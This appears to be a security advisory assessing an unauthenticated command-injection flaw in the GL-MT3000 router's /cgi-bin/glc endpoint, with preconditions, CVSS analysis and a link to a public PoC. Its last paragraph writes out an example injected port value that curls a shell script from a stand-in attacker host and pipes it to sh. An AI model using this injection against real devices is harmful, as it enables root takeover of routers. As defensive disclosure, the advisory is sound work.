GL-iNet GL-MT3000 EUVD-2026-52400

The /cgi-bin/glc endpoint must be reachable by the attacker over the network - exploitation is highest risk when the GL-MT3000 management interface is exposed to the WAN (internet-facing remote management enabled), but LAN-local exploitation is equally viable since no authentication is required per CVSS PR:N. The s2s.so native plugin must be loaded, which is a component of the standard firmware for affected versions 4.4.0-4.4.5. No special configuration, authenticated session, or user interaction is needed. Exploitation is limited to GL-MT3000 devices on firmware 4.4.0-4.4.5; devices on earlier firmware or different GL-iNet models are not confirmed vulnerable. The primary factor limiting real-world blast radius is whether the management interface is exposed beyond the local network - most consumer router deployments restrict management to LAN-only by default, constraining remote exploitation to cases where remote management was explicitly enabled.

All available signals converge on a high-priority rating. The CVSS 4.0 base vector (AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) indicates network-reachable, zero-prerequisite exploitation with full impact on the vulnerable system. The E:P supplemental modifier confirms that public exploit code exists, further validating practical risk. The vendor has acknowledged the vulnerability, adding confidence to the severity assessment. No CISA KEV listing is present in the provided data, meaning confirmed mass exploitation has not been officially recorded, but the published GitHub PoC significantly reduces attacker skill requirements. EPSS data was not provided - exploitation probability cannot be quantified numerically, but the combination of PR:N, AC:L, and a live PoC is a strong qualitative indicator of near-term abuse. No conflicting signals exist between the CVSS vector and the description; both are consistent with remote unauthenticated exploitation. Defenders should treat this as a high-urgency priority, particularly for any GL-MT3000 units with management interfaces exposed to the internet.

An attacker who can reach the GL-MT3000 management interface - either from the LAN or from the internet if remote management is enabled - sends a crafted HTTP POST or GET request to /cgi-bin/glc with a port parameter value containing shell metacharacters such as '; curl http://attacker.com/shell.sh | sh ;'. The s2s.enable_echo_server function passes this value unsanitized to a system command, executing the injected payload with the privileges of the web server process, which on embedded routers typically runs as root. A public PoC on GitHub (https://github.com/StrTzz123/iot_vul/blob/main/GL-iNet/MT3000/4.4.5/s2s_enable_echo_server_glc_rce/CVE.md) documents the exact exploitation technique, making this accessible to low-skilled attackers.